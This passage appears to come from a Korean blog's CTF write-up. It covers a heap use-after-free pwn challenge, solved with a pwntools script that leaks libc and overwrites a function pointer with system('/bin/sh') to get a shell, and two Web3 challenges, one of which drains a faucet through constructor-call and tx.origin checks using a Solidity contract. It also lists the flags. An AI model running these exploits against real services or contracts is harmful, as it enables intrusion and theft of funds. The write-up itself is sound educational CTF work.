        sessions[index] = ptr;
        printf("Session %d created with message length %zu.\n", index, len);
      }
      else
      {
        perror("malloc message");
        free(ptr);
      }
      return pthread_mutex_unlock(&mutex);
    }
    else
    {
      perror("malloc session");
      return pthread_mutex_unlock(&mutex);
    }
  }
}

session 구조체를 할당 받고 start_routine 함수에서 4초 이상된 세션은 해제 해버린다. 그런데 포인터는 안지워서 댕글링 포인터가 남고 UAF read가 가능하다.. 청크에 함수포인터가 있으니 (msg.data) 에 할당되는 청크의 사이즈를 마음대로 조작 할 수 있어서 해재된 session 청크를 msg.data로 가져와서 session에 함수포인터를 수정하고 호출할수있다.

from pwn import *
from time import sleep
# p = remote("localhost",1337)
p = remote("3.34.157.211", 1337)
libc = ELF("./libc.so.6")

# sleep(5) ;  
p.sendlineafter(b"> ",f"create {0} {0x60}".encode())
p.sendlineafter(b"> ",f"create {1} {0x500}".encode())
p.sendlineafter(b"> ",f"create {2} {0x500}".encode())
sleep(5) 

p.sendlineafter(b"> ",f"show {0}".encode())
p.recvuntil(b"[message] ")
heap = u64(p.recvline()[:-1].ljust(8,b"\x00"))<<12
success(f"heap : {hex(heap)}")

p.sendlineafter(b"> ",f"show {1}".encode())
p.recvuntil(b"[message] ")
libc.address = u64(p.recvline()[:-1].ljust(8,b"\x00")) - 0x21ace0
success(f"libc base addr : {hex(libc.address)}")

# p.sendlineafter(b"> ",f"create {3} {0x40}".encode())
# p.sendlineafter(b"> ",f"create {4} {0x40}".encode())
for i in range(6):
    p.sendlineafter(b"> ",f"create {i} {0x58}".encode())

sleep(5)

p.sendlineafter(b"> ",f"create {0} {0x20}".encode())

p.sendlineafter(b"> ",f"update {0}".encode())
p.sendlineafter(b"Enter new message length: ",b"56")
payload = p64(0)*3 + p64(next(libc.search(b"/bin/sh\x00"))) + p64(0)*2 + p64(libc.symbols['system'])
p.sendlineafter(b"Enter new message: ",payload)

for i in range(0,7):
    try:
        p.sendlineafter(b"> ",f"show {i}".encode(),timeout=5)
    except:
        p.interactive()

p.interactive()
hspace{7e4793eaa91e73e8a5775e1c322266e8}

Web3

0x736370


Spolia testnet 주소를 준다. 위 주소로 이더스캔 때려보면

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

contract _0x736370 {
    string private flag;
    bool private initialized;

    function initialize(bytes memory _flag) external {
        require(!initialized, "already initialized");
        initialized = true;
        flag = string(_flag);
    }
}

정의된 컨트랙트를 볼수있고

Function: initialize(bytes _flag)

MethodID: 0x439fab91
[0]:  0000000000000000000000000000000000000000000000000000000000000020
[1]:  0000000000000000000000000000000000000000000000000000000000000031
[2]:  7363704354467b376831355f666c34365f3570346e355f6d756c3731706c335f
[3]:  353730723436335f356c3037355f306b7d000000000000000000000000000000

initialize 함수 호출 기록도 보인다.

2~3번째 바이트들을 아스키 디코딩하면 플래그를 알수있다.

scpCTF{7h15_fl46_5p4n5_mul71pl3_570r463_5l075_0k}

BigFaucet


Setup.sol이 5 ETH가 담긴 BigFaucet를 배포하고, faucet 잔액이 0이면서 플레이어 잔액이 ≥ 5 ETH이면 정답 처리된다.

BigFaucet의 claim() 함수는 EOA 판별을 msg.sender.code.length == 0으로만, 화이트리스트는 whitelist[tx.origin]으로만 확인한다.

이 조합은 배포 중인 컨트랙트의 생성자에서 호출될 때 msg.sender.code.length가 0으로 평가되어 EOA 검사를 우회하고, 거래 기원자 tx.origin이 플레이어라면 화이트리스트도 통과하게 만든다.

또한 1회 제한은 claimed[msg.sender]에만 걸려 있어, 서로 다른 컨트랙트 주소(각 배포 시의 msg.sender)를 사용하면 반복 청구가 가능하다.

여기에 addWhitelist(address)가 누구나 최초 1회 호출 가능(접근제어 부재, onlyOnce)하다는 점이 결합되어 전체 5 ETH를 순차적으로 인출할 수 있다.

때문에 먼저 플레이어를 대상으로 addWhitelist(player)를 한 번 호출한다. 이후, 최소 컨트랙트를 반복 배포하며 각 생성자에서 faucet.claim() 함수를 즉시 호출하게 하고, 수령한 1 ETH는 selfdestruct(payable(player))로 플레이어에게 강제 송금한다.

생성자 단계에서 code.length == 0으로 EOA 검사 우회가 가능하고, 각 배포마다 다른 msg.sender가 되므로 claimed[msg.sender] 1회 제한도 매번 새롭게 충족되어 총 5회 청구로 전액 드레인이 된다.

pragma solidity ^0.8.20;

interface IBigFaucet {
    function claim() external;
}

contract Solve {
    constructor(IBigFaucet faucet, address payable recipient) payable {
        faucet.claim();
        selfdestruct(recipient);
    }
    receive() external payable {}
}

// scpCTF{drip_dr1p_dri9_d2ip_drip}

'CTF' 카테고리의 다른 글

2025 codegate CTF quals  (5) 2025.06.22
2025 COSS CTF  (1) 2025.06.22